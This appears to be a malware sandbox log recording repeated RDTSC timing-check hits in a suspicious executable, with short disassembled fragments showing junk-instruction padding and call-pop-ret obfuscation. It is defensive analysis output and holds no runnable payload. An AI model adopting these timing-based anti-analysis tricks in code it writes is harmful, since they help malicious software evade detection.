Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE884C second address: FE8854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE8854 second address: FE8869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6970DB3BD6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F6970DB3BD6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE89E1 second address: FE89F9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6970D85C1Bh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE89F9 second address: FE89FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FE8CE4 second address: FE8D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F6970D85C2Ch 0x0000000c jp 00007F6970D85C16h 0x00000012 jmp 00007F6970D85C20h 0x00000017 jmp 00007F6970D85C28h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007F6970D85C1Eh 0x00000025 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FEB171 second address: FEB193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6970DB3BD6h 0x0000000a popad 0x0000000b jmp 00007F6970DB3BE7h 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FEB193 second address: FEB1AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FEB1AE second address: FEB1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FEB1B8 second address: FEB1BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FBA8C6 second address: FBA8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6970DB3BD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FEE25C second address: FEE263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF43A9 second address: FF43B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF43B1 second address: FF43C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F6970D85C16h 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF43C1 second address: FF43C7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF38B6 second address: FF38EB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6970D85C16h 0x00000008 jmp 00007F6970D85C1Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F6970D85C24h 0x00000014 pop edx 0x00000015 pushad 0x00000016 jg 00007F6970D85C1Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3A4B second address: FF3A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BDFh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F6970DB3BE2h 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 jng 00007F6970DB3BD6h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3A84 second address: FF3A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3A8A second address: FF3A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3BE3 second address: FF3BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3BEB second address: FF3BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F6970DB3BDEh 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3BFE second address: FF3C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3C03 second address: FF3C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3C09 second address: FF3C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 js 00007F6970D85C41h 0x0000000d jno 00007F6970D85C29h 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F6970D85C16h 0x0000001b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3C37 second address: FF3C3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3EBB second address: FF3EC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF3EC2 second address: FF3EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6970DB3BE4h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF4041 second address: FF4051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6970D85C1Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF4051 second address: FF4084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F6970DB3BE3h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6970DB3BDAh 0x00000012 jmp 00007F6970DB3BDEh 0x00000017 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF4084 second address: FF4088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF4088 second address: FF408E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF408E second address: FF40A7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6970D85C22h 0x00000008 pop edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF41F5 second address: FF41F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF59E4 second address: FF59FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6970D85C16h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6970D85C1Ch 0x00000012 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF59FD second address: FF5A03 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB7345 second address: FB734F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6970D85C16h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB734F second address: FB736C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6970DB3BE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB736C second address: FB7386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970D85C24h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FB7386 second address: FB738A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF7CB1 second address: FF7CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF8BF5 second address: FF8BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF8BFB second address: FF8C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6970D85C16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF8D02 second address: FF8D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF8D44 second address: FF8D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF9B4C second address: FF9B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF9B50 second address: FF9B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 je 00007F6970D85C18h 0x0000000f mov edi, esi 0x00000011 or dword ptr [ebp+122D1DFAh], edx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b xchg eax, ebx 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FF9A42 second address: FF9A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6970DB3BD6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FFB500 second address: FFB56B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F6970D85C1Ch 0x0000000f jo 00007F6970D85C16h 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 mov di, dx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F6970D85C18h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 mov edi, dword ptr [ebp+122D366Eh] 0x0000003e xor dword ptr [ebp+122D2C39h], edx 0x00000044 mov edi, dword ptr [ebp+122D3696h] 0x0000004a push 00000000h 0x0000004c mov dword ptr [ebp+122D32BDh], eax 0x00000052 xchg eax, ebx 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FFB56B second address: FFB574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FFDDE7 second address: FFDDF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F6970D85C16h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: FFDDF1 second address: FFDE56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add dword ptr [ebp+122D2972h], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F6970DB3BD8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov esi, dword ptr [ebp+122D32BDh] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007F6970DB3BD8h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f push eax 0x00000050 push esi 0x00000051 pushad 0x00000052 push edx 0x00000053 pop edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1003453 second address: 10034B8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F6970D85C25h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, dword ptr [ebp+122D36A2h] 0x00000014 push 00000000h 0x00000016 mov ebx, dword ptr [ebp+122D368Ah] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F6970D85C18h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 jno 00007F6970D85C1Ch 0x0000003e xchg eax, esi 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 pop ecx 0x00000044 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1005417 second address: 10054A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F6970DB3BD8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 or ebx, dword ptr [ebp+122D32BDh] 0x00000029 push 00000000h 0x0000002b call 00007F6970DB3BE4h 0x00000030 mov dword ptr [ebp+122D2E7Eh], edx 0x00000036 pop ebx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F6970DB3BD8h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 xchg eax, esi 0x00000054 jmp 00007F6970DB3BE8h 0x00000059 push eax 0x0000005a push edi 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10054A7 second address: 10054AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1006438 second address: 1006443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6970DB3BD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1006443 second address: 1006459 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6970D85C1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1006459 second address: 100645D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1007347 second address: 100734D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1009230 second address: 1009243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jo 00007F6970DB3BE0h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1009243 second address: 10092A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F6970D85C18h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F6970D85C18h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov bx, 78CBh 0x00000041 push 00000000h 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jc 00007F6970D85C16h 0x0000004e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10092A3 second address: 10092AD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100A33A second address: 100A387 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 and di, 4C27h 0x0000000c push 00000000h 0x0000000e mov bx, B737h 0x00000012 jnl 00007F6970D85C18h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F6970D85C18h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D2A94h] 0x0000003a xchg eax, esi 0x0000003b jbe 00007F6970D85C24h 0x00000041 push eax 0x00000042 push edx 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100A387 second address: 100A38B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100C3AB second address: 100C3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100C3B1 second address: 100C406 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, ax 0x00000012 jmp 00007F6970DB3BE1h 0x00000017 push 00000000h 0x00000019 mov ebx, eax 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F6970DB3BD8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 push esi 0x0000003a pushad 0x0000003b popad 0x0000003c pop esi 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100E328 second address: 100E32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1010483 second address: 10104F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BE0h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F6970DB3BDDh 0x00000010 nop 0x00000011 mov ebx, dword ptr [ebp+1247566Ch] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F6970DB3BD8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 jmp 00007F6970DB3BE3h 0x00000038 push 00000000h 0x0000003a add ebx, dword ptr [ebp+122D31D8h] 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jno 00007F6970DB3BD6h 0x0000004a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10035EE second address: 10035F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10035F2 second address: 100368E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jnl 00007F6970DB3BD6h 0x00000011 pop edx 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov dword ptr [ebp+122D32D6h], ecx 0x0000001c push dword ptr fs:[00000000h] 0x00000023 xor dword ptr [ebp+122D1CC8h], eax 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 call 00007F6970DB3BE3h 0x00000035 mov dword ptr [ebp+122D2047h], ecx 0x0000003b pop edi 0x0000003c mov eax, dword ptr [ebp+122D1595h] 0x00000042 mov edi, 260EB874h 0x00000047 push FFFFFFFFh 0x00000049 call 00007F6970DB3BE2h 0x0000004e mov dword ptr [ebp+122D2F1Dh], ecx 0x00000054 pop edi 0x00000055 nop 0x00000056 jmp 00007F6970DB3BE3h 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f jmp 00007F6970DB3BE1h 0x00000064 push edx 0x00000065 pop edx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 100368E second address: 1003693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1003693 second address: 1003699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1006695 second address: 1006699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10074C7 second address: 10074CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 10074CB second address: 10074DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1014EDF second address: 1014EE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 1018236 second address: 101823A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
